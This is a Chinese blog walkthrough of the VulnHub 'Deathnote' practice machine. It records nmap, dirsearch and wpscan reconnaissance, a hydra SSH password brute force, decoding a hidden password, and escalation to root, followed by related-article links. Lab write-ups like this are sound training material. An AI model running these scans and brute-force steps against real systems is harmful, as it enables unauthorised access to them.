VulnHub——Deathnote

最新推荐文章于 2024-09-16 22:59:03 发布
最新推荐文章于 2024-09-16 22:59:03 发布
阅读量155 收藏
点赞数
分类专栏： 渗透测试 vulnhub靶场 文章标签： 网络安全 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52512479/article/details/132159777
版权

VulnHub——Deathnote

一、信息收集

1.存活主机扫描

靶机ip：192.168.197.130

┌──(root㉿kali)-[~]
└─# nmap 192.168.197.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-24 09:39 CST
Nmap scan report for 192.168.197.1
Host is up (0.00016s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6000/tcp open  X11
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.197.2
Host is up (0.000098s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
53/tcp open  domain
MAC Address: 00:50:56:F2:C0:58 (VMware)

Nmap scan report for 192.168.197.130
Host is up (0.00032s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:83:6E:83 (VMware)

Nmap scan report for 192.168.197.254
Host is up (0.00017s latency).
All 1000 scanned ports on 192.168.197.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:FB:32:FE (VMware)

Nmap scan report for 192.168.197.128
Host is up (0.0000030s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (5 hosts up) scanned in 9.96 seconds

2.端口扫描

22、80端口

┌──(root㉿kali)-[~]
└─# nmap -A -p- 192.168.197.130
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-24 09:41 CST
Nmap scan report for 192.168.197.130
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5e:b8:ff:2d:ac:c7:e9:3c:99:2f:3b:fc:da:5c:a3:53 (RSA)
|   256 a8:f3:81:9d:0a:dc:16:9a:49:ee:bc:24:e4:65:5c:a6 (ECDSA)
|_  256 4f:20:c3:2d:19:75:5b:e8:1f:32:01:75:c2:70:9a:7e (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:83:6E:83 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.197.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds

3.目录爆破

┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.197.130 -x 403

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.197.130/_23-02-24_09-42-31.txt

Error Log: /root/.dirsearch/logs/errors-23-02-24_09-42-31.log

Target: http://192.168.197.130/

[09:42:31] Starting:
[09:42:54] 200 -  197B  - /index.html
[09:42:57] 301 -  319B  - /manual  ->  http://192.168.197.130/manual/
[09:42:57] 200 -  626B  - /manual/index.html
[09:43:04] 200 -   68B  - /robots.txt
[09:43:19] 200 -    7KB - /wordpress/wp-login.php
[09:43:19] 200 -   18KB - /wordpress/

Task Completed

二、渗透过程

1.IP与域名绑定

访问80端口

192.168.197.130，访问后发现会跳到一个域名打不开

image-20230802161519929

image-20230802161536439

搜索资料之后发现需要对ip与域名进行绑定

Windows在C:\Windows\System32\drivers\etc\hosts文件中修改

Linux在/etc/hosts中修改

在Windows 中会出现修改后无法保存问题，这里需要修改文件的权限

右键（hosts文件）——属性——安全——选择users用户——编辑——勾选（修改、写入）——保存

image-20230802161624402

image-20230802161710018

添加ip、域名

image-20230802161730878

Linux在root权限下直接添加

image-20230802161745152

image-20230802161800383

成功访问

image-20230802161831203

这里直接跳转到了wordpress

wordpress可以说是一个针对CMS的框架，即可以把 WordPress当作一个内容管理系统（CMS）来使用。WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。

WordPress是一款个人博客系统，并逐步演化成一款内容管理系统软件，它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

2.获取后台账号、密码

还扫描的了一个登陆界面

image-20230802161855672

直接可以使用wpscan来检测：查到了一个kira用户名

┌──(root㉿kali)-[~]
└─# wpscan --url http://deathnote.vuln/wordpress/ --enumerate u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://deathnote.vuln/wordpress/ [192.168.197.130]
[+] Started: Fri Feb 24 13:50:51 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://deathnote.vuln/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://deathnote.vuln/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://deathnote.vuln/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://deathnote.vuln/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.1.1 identified (Latest, released on 2022-11-15).
 | Found By: Rss Generator (Passive Detection)
 |  - http://deathnote.vuln/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.1.1</generator>
 |  - http://deathnote.vuln/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.1.1</generator>

[+] WordPress theme in use: twentytwentyone
 | Location: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/
 | Last Updated: 2022-11-02T00:00:00.000Z
 | Readme: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kira
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://deathnote.vuln/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Feb 24 13:50:54 2023
[+] Requests Done: 24
[+] Cached Requests: 36
[+] Data Sent: 6.956 KB
[+] Data Received: 96.017 KB
[+] Memory used: 167.598 MB
[+] Elapsed time: 00:00:02

尝试进行密码爆破，没有成功，只能从其他地方下手了

上面还扫到了一个图片，查看源码发现，我可以去看一看主页的提示里有什么

image-20230802161936363

查到发现可以去找这个文件或看一下L的评论，下面评论有一串很怪的字符，可以尝试登陆一下

image-20230802162027866

成功登录：

image-20230802162046886

image-20230802162106976

image-20230802162156808

3.ssh连接

发现了这个文件

image-20230802162216013

image-20230802162238224

使用hydra<暴力破解工具>进行密码爆破ssh

┌──(root㉿kali)-[~]
└─# hydra -l l -P notes.txt 192.168.197.130 ssh
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-24 14:09:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43 login tries (l:1/p:43), ~3 tries per task
[DATA] attacking ssh://192.168.197.130:22/
[22][ssh] host: 192.168.197.130   login: l   password: death4me
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-24 14:09:47

获取到 l 用户

密码：death4me

进行ssh连接

image-20230802162303815

可以看到有两个用户：

image-20230802162326788

三、提权

看到一个user.txt

image-20230802162409467

emmmmm这个需要解码，

image-20230802162426188

搞了半天没用。。。。。。。。。

image-20230802162450314

后续在/opt下发现了一些东西

linux中/opt目录用来安装附加软件包，是用户级的程序目录，可以理解为D:/Software。安装到/opt目录下的程序，它所有的数据、库文件等等都是放在同个目录下面。

image-20230802162504820

讲十六进制数转换为字符串，是一串Base16编码

63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

image-20230802162525513

解码

cGFzc3dkIDoga2lyYWlzZXZpbCA=

image-20230802162543130

获取到密码

passwd : kiraisevil 

kira

进行ssh连接

image-20230802162559427

查看可执行权限

image-20230802162618668

发现这个用户都可执行，直接获取root权限

image-20230802162637936

image-20230802162710917

image-20230802162730859

韓憨憨
关注
专栏目录
【Vulnhub】之Deathnote
zg_111的博客
04-04 1154
是密码，我们使用扫到的账户和猜测的密码尝试去登录http://192.168.15.130/wordpress/wp-login.php。查看其他路径文件，我们在/opt/L/fake-notebook-rule中发现了case.wav和hint两个文件。成功登录，并在Media中发现了notes.txt文件，我们使用wget下载下来查看发现此文件应该是密码本。爆破出来登录用户 l 及密码 death4me，我们ssh登录成功，并发现user.txt文件。配置下hosts文件，在文件中添加。
VulnHub日记（十二）：Deathnote:1
Dawn_Xi的博客
10-09 683
靶机介绍 虚拟机链接：Deathnote: 1 ~ VulnHub 参考博客：Deathnote - Writeup - Vulnhub - Walkthrough - Security 开始练习 本机ip：192.168.56.102 目的机ip：192.168.56.127 使用netdiscover发现主机ip netdiscover -r 192.168.56.0/24 nmap扫描开放服务 nmap -A 192.168.56.127 访问80口，写入host文..
Vulnhub靶机_Deathnote
学术渣渣的博客
09-12 1947
文章目录靶机介绍渗透过程获取靶机IP端口扫描dirb扫描网站目录信息1信息2信息3登录wordpresshydra 爆破密码提权 靶机介绍 下载地址： http://www.vulnhub.com/entry/deathnote-1,739/ 难度：简单 介绍： don’t waste too much time thinking outside the box . It is a Straight forward box . 渗透过程 获取靶机IP arp-scan -l 得到靶机的IP为：192.1
vulnhub-Deathnote靶场
lionwerson的博客
11-28 3639
Deathnote下载https://download.vulnhub.com/deathnote/Deathnote.ova1.打开靶机，nmap扫描一下端口： 只有22和80端口，打开浏览器，然后修改host文件： IP deathnote.vuln 这个靶场是死亡笔记的主题，头像是死亡笔记男主神无月，死亡笔记的持有者之一，外界称为基拉，也就是kira，上面写的是我会干掉你 L，L是剧中的侦探，为了抓捕男主基拉。 hint表示线索，让我们寻找notes.txt或者L的评论。 ...
vulnhub刷题记录（Deathnote: 1）
ailx10
08-23 547
英文名称：Deathnote: 1中文名称：死亡笔记：1发布日期：2021 年 9 月 4 日难度：容易描述：不要浪费太多时间跳出框框思考。这是一个直截了当的盒子。下载地址：https://www.vulnhub.com/entry/empire-breakout,751/ 1、主机发现（192.168.199.205）主机发现2、端口扫描（22、80）端口扫描3、web目录发现目录发现4、查看...
DEATHNOTE
10-24
《DEATHNOTE》——探索字体设计的艺术与应用 在数字化时代，字体设计不仅是文字的呈现方式，更是传达信息、塑造品牌形象、营造氛围的关键元素。"DEATHNOTE"这个标题，或许让人联想到著名的日本动漫作品《死亡笔记》...
DeathNote-crx插件
04-06
"DeathNote-crx插件"是一款专为浏览器设计的扩展程序，主要特色在于它将流行的《死亡笔记》（Death Note）元素融入了用户的网络浏览体验。这款插件以德语（Deutsch）为主要语言，旨在为每一个新打开的标签页带来一种...
DeathNote.github.io
05-30
"死亡笔记.github.io"是一个基于GitHub Pages构建的个人网页项目，标题中的"DeathNote.github.io"通常是指这个项目的在线地址，表明它是一个公开的、与《死亡笔记》这个主题相关或者以此为灵感的个人网站。...
deathnote-web
05-12
死亡笔记网 安装 npm i 跑步 npm start 结构 src/Services包含与API请求/响应相关的组件，挂钩和函数。 src/Components包含与UI相关的可重用的React组件。 src/router包含页面（路由）。
vulnhub靶场实战系列（一）之vulnhub靶场介绍
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
03-07 3049
我们在学习了各种web漏洞的原理和各种内网的攻击手法的利用之后，需要实战来提升经验，这一环节就可以有操作系统靶场平台来代替一方面因为靶场是现成的，已经搭建好的靶场，只需要下载到本地用虚拟机安装就可以了，非常省时。第二点，非常安全，我们要知道没有经过法律允许的渗透行为是犯法的，而我们使用靶场来模拟达到实战训练的目的的同时也不会触碰法律。名称描述网站vulnhub与Kali同一家公司（offsec)出品。一共有600多个镜像，可以在VMWare或者VirtualBox打开，有不同难度。
vulnhub靶场之Deathnote
qq_58091216的博客
02-21 1143
现在我们知道用户名，不知道密码，我们前面扫描到robots.txt，有一个提示说在important.jpg添加了提示，那么我们就在网站图片上面找。发现了文件的路径获得密码字典,那么肯定是有用的，我们想到22端口是开放的，我们可以试试爆破ssh。首先，我们进入fake-notebook-rule，发现了2个文件，一个是加密的数字，一个是提示。我们查看根目录下的内容，发现了user.txt文件，我们进行查看。我们可以看到登录成功，我们进行查看，看有没有可以利用的地方。
Vulnhub靶机：Deathnote
qq_48904485的博客
01-12 919
运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：Deathnote（10.0.2.16）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/deathnote-1,739/
【Vulnhub靶场】Deathnote: 1
DG_s1mple
03-13 2546
环境准备 下载靶机后导入到vmware 题目并没有给出ip地址，需要我们自己探测 信息收集 kali使用arp-scan命令可以得到靶机的IP地址 靶机IP地址为：192.168.2.17 攻击机IP地址为：192.168.2.16 接下来我们使用nmap扫描一下靶机开放的端口 发现靶机只开放了ssh跟http服务 开始渗透 我们先访问它的网站，发现它跳转到了一个域名 我们修改hosts文件 这样就可以正常访问了 发现是一个wordpress站点，我们查找一下有用的信息 发现一个可能是密码的字符
【渗透测试】靶机渗透Vulnhub-bulldog
SunnyCat
06-01 2886
目录前言一、bulldog靶机安装二、bulldog靶机渗透1、信息搜集2、Web渗透--后台登录3、Web渗透--命令注入&nc反弹shell4、权限提升渗透步骤回顾感悟 前言 bulldog靶机的渗透有很多的前辈都做了教程，我这篇也是参考了许多前辈的博客，但是中间还是有很多不懂得地方，官方说有两条路可以拿到root，我只找到了一条。以下内容均是我作为一个菜鸡实操之后的所得，为了留个印子记下来。 参考博客： https://blog.csdn.net/Eastmount/article/detai
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8461
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
2024 年浙江省网络安全行业网络安全运维工程师项目 职业技能竞赛网络安全运维工程师（决赛样题）
Aluxian_的博客
09-13 830
作为一名网络安全运维工程师，你发现公司的内部网络出现了异常流量，多个关键应用程序的响应速度显著下降，你需要对网络流量进行深入分析，识别潜在的安全威胁，追踪可疑活动，以确保公司数据的安全性。
时间&安全精细化管理平台存在未授权访问漏洞
2301_77012231的博客
09-14 391
登录--时间&安全精细化管理平台存在未授权访问漏洞导致与员工信息泄露。
【爱给网-注册安全分析报告-无验证方式导致安全隐患】
最新发布
09-16 1223
武汉爱给在线网络科技有限公司经营的爱给网（aigei.com）是国内专业的数娱创作者服务平台。经过10年的作品积累和数据沉淀，爱给网搭建了一个以创意作品库为核心，围绕着 音、影、游、动 设计人群及泛设计人群提供优质创意服务的共享平台，从平台的实力来看应该是非常雄厚，但好像对短信被盗刷的安全方面不够重视 ，测试结果就是随便你怎么攻击都可以，这也有点太开放了， 短信验证码难道不要钱吗？这对黑客来说肯定是好消息， 弄个简单的脚本就可以搞定。
更新/ql/data/repo/leafTheFish_DeathNote失败，请检查网络...
05-28
出现更新/ql/data/repo/leafTheFish_DeathNote失败，请检查网络的情况，可能是因为以下原因之一： 1. 网络连接问题：请检查您的网络连接是否正常，确保您的设备已连接到互联网。 2. 防火墙或代理问题：请检查您的防火墙和代理设置，确保它们不会阻止青龙面板连接到互联网。 3. 仓库源问题：请确保您的青龙面板已经正确配置了仓库源，您可以尝试使用其他仓库源进行更新操作。 4. 仓库权限问题：请检查您的仓库目录是否有足够的权限进行更新操作。 如果您已经检查了以上问题但仍然无法进行更新操作，请联系青龙面板的开发者或相关技术支持人员获取帮助。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值